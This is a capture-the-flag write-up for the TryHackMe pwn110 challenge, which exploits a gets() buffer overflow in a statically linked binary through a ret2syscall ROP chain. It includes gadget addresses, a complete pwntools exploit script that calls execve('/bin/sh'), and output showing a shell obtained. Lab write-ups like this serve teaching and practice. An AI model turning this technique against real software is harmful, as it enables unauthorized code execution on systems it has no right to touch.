Skip to content

Statically linked binary exploitation through ret2syscall

TryHackMe pwn110 challenge


Protection

$ file pwn110-1644300525386.pwn110
pwn110-1644300525386.pwn110: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9765ee1bc5e845af55929a99730baf4dccbb1990, for GNU/Linux 3.2.0, not stripped

Statically linked: only the parts of libc actually used by the program are present, which limits ret2libc options.

Checksec result :

  • NX: the stack is not executable. No shellcode in the buffer, you have to reuse existing code to hijack execution.

  • No PIE: the binary is loaded at a fixed address.

  • Partial RELRO: overwriting the GOT is possible.

  • Canary: be careful when smashing the stack. After finishing the challenge it turns out it never bothered me at all, I didn't even see one.

Vulnerability

Hello pwner, I'm the last challenge 😼
Well done, Now try to pwn me without libc 😏
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
[1]    2552 segmentation fault (core dumped)  ./pwn110-1644300525386.pwn110
pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000401e61 <+0>:     endbr64
   0x0000000000401e65 <+4>:     push   rbp
   0x0000000000401e66 <+5>:     mov    rbp,rsp
   0x0000000000401e69 <+8>:     sub    rsp,0x20
   0x0000000000401e6d <+12>:    mov    eax,0x0
   0x0000000000401e72 <+17>:    call   0x401de5 <setup>
   0x0000000000401e77 <+22>:    mov    eax,0x0
   0x0000000000401e7c <+27>:    call   0x401e4a <banner>
   0x0000000000401e81 <+32>:    lea    rdi,[rip+0x93298]
   0x0000000000401e88 <+39>:    call   0x411bd0 <puts>
   0x0000000000401e8d <+44>:    lea    rdi,[rip+0x932bc]
   0x0000000000401e94 <+51>:    call   0x411bd0 <puts>
   0x0000000000401e99 <+56>:    lea    rax,[rbp-0x20]
   0x0000000000401e9d <+60>:    mov    rdi,rax
   0x0000000000401ea0 <+63>:    mov    eax,0x0
   0x0000000000401ea5 <+68>:    call   0x411a10 <gets>
   0x0000000000401eaa <+73>:    nop
   0x0000000000401eab <+74>:    leave
   0x0000000000401eac <+75>:    ret
End of assembler dump.

Buffer overflow on gets (0x20 buffer), same vulnerability as pwn109 (see Ret2plt + ret2libc: bypassing ASLR from a buffer overflow). The whole difficulty comes from exploiting it without libc.

I don't see the canary in the disassembly, so I don't know whether there really is one. We'll find out during exploitation if it gets in the way.

Offset

Cyclic pattern, RIP overwritten at 40 bytes.

padding (40) : aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaa
rest         : faaaaaaagaaaaaaahaaaaaaaiaaaaaaa...
RIP          : faaaaaaa offset = 40

More details on how to calculate the offset can be found in my previous articles.

Is ret2libc possible ?

Is there enough to do a ret2libc in the embedded parts of libc ?

$ nm pwn110-1644300525386.pwn110 | grep -w system
$ nm pwn110-1644300525386.pwn110 | grep -w execve
$ nm pwn110-1644300525386.pwn110 | grep -w execvp
(no result)

What we need isn't there. Statically linked programs only embed the parts of libc they actually use (they still end up bigger in size though).

Note: on a dynamically linked binary these commands return nothing either, but here everything is in the binary, so their absence really means we won't be able to reach these functions.

Ret2syscall

Return-to-Syscall is an attack technique that hijacks a program's execution flow to force a direct call to a kernel function (a syscall), usually in order to execute arbitrary code (such as a shell).

Here the objective is to make an "execve" syscall (number 59 on x86-64): execve() executes the program referred to by path. This causes the program that is currently being run by the calling process to be replaced with a new program, with newly initialized stack, heap, and (initialized and uninitialized) data segments.

*sources : https://man7.org/linux/man-pages/man2/execve.2.html

execve("/bin/sh", NULL, NULL)

Desired stack state and execution chain:

address of "pop rdi ; ret"       <-- 0 : we jump here after main's ret
address of .bss (0x4c2240)       <-- 1 : will be popped into RDI
address of gets                  <-- 2 : gets(.bss) -> writes "/bin/sh" into .bss
address of "pop rdi ; ret"       <-- 3 : resume after gets
address of .bss                  <-- 4 : pop into RDI (pointer to "/bin/sh")

address of "pop rsi ; ret"       <-- 5
0                                <-- 6 : pop into RSI (argv = NULL)
address of "pop rdx ; ret"       <-- 7
0                                <-- 8 : pop into RDX (envp = NULL)
address of "pop rax ; ret"       <-- 9
59                               <-- 10 : pop into RAX (execve number)

address of syscall               <-- 11 : triggers execve

Goal 1: put /bin/sh into bss: because this string doesn't exist anywhere else in the program.

So in our payload we put a pop rdi ; ret then the address of the .bss section, which rdi will therefore point to:

rdi -> .bss

Then the gets function, which runs a second time, but this time it writes user input into .bss because gets writes to rdi, that's the convention:

user_input = gets() -> rdi -> .bss

.bss -> user_input

Goal 2: make the syscall with the right arguments.

Once that's done we pop into rdi the address of the user input in .bss, knowing that this user input is "/bin/sh". At this point we have "/bin/sh" in rdi.

Next we want rsi and rdx to be 0/"NULL" (execve("/bin/sh", NULL, NULL)), so we pop 0 into those registers.

Finally we pop 59 into RAX.

Last, we put the address of the syscall instruction which, from the register state we built, will trigger our shell. This instruction is necessarily present in the parts of libc the program uses.


The first step is to check whether the binary has everything we need and the addresses of these gadgets :

pop rdi ; ret to load the 1st argument (filename) into RDI:

ROPgadget --binary ./pwn110-1644300525386.pwn110 --only 'pop|ret' | grep 'pop rdi ; ret'
0x000000000040191a : pop rdi ; ret

pop rsi ; ret: load the 2nd argument (argv) into RSI:

ROPgadget --binary ./pwn110-1644300525386.pwn110 --only 'pop|ret' | grep 'pop rsi ; ret'
0x000000000040f4de : pop rsi ; ret

pop rdx ; ret: load the 3rd argument (envp) into RDX:

ROPgadget --binary ./pwn110-1644300525386.pwn110 --only 'pop|ret' | grep 'pop rdx ; ret'
0x000000000040181f : pop rdx ; ret

pop rax ; ret: load the syscall number (59 for execve) into RAX:

ROPgadget --binary ./pwn110-1644300525386.pwn110 --only 'pop|ret' | grep 'pop rax ; ret'
0x00000000004497d7 : pop rax ; ret

syscall instruction: trigger the system call into the kernel:

ROPgadget --binary ./pwn110-1644300525386.pwn110 --only 'syscall'
0x00000000004012d3 : syscall


from pwn import *

context.binary = elf = ELF("./pwn110-1644300525386.pwn110", checksec=False)
context.arch = "amd64"
context.log_level = "info"

io = process(elf.path)

OFFSET = 40

GETS    = 0x411a10
POP_RDI = 0x40191a
POP_RSI = 0x40f4de
POP_RDX = 0x40181f
POP_RAX = 0x4497d7
SYSCALL = 0x4012d3
BSS     = 0x4c2240

payload  = b"A" * OFFSET

payload += p64(POP_RDI) + p64(BSS) + p64(GETS)

payload += p64(POP_RDI) + p64(BSS)
payload += p64(POP_RSI) + p64(0)
payload += p64(POP_RDX) + p64(0)
payload += p64(POP_RAX) + p64(59)
payload += p64(SYSCALL)

io.sendline(payload)

# the reason the string is here is that we trigger a
# second gets to read it, so it has to be sent at this point.
io.sendline(b"/bin/sh\x00")

io.interactive()

It's work in local and remote and we got a shell :

python3 ret2syscall.py
[+] Starting local process '/workspace/pwn110/pwn110-1644300525386.pwn110': pid 4827
[*] Switching to interactive mode
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 110          

Hello pwner, I'm the last challenge 😼
Well done, Now try to pwn me without libc 😏
$ echo "hello"
hello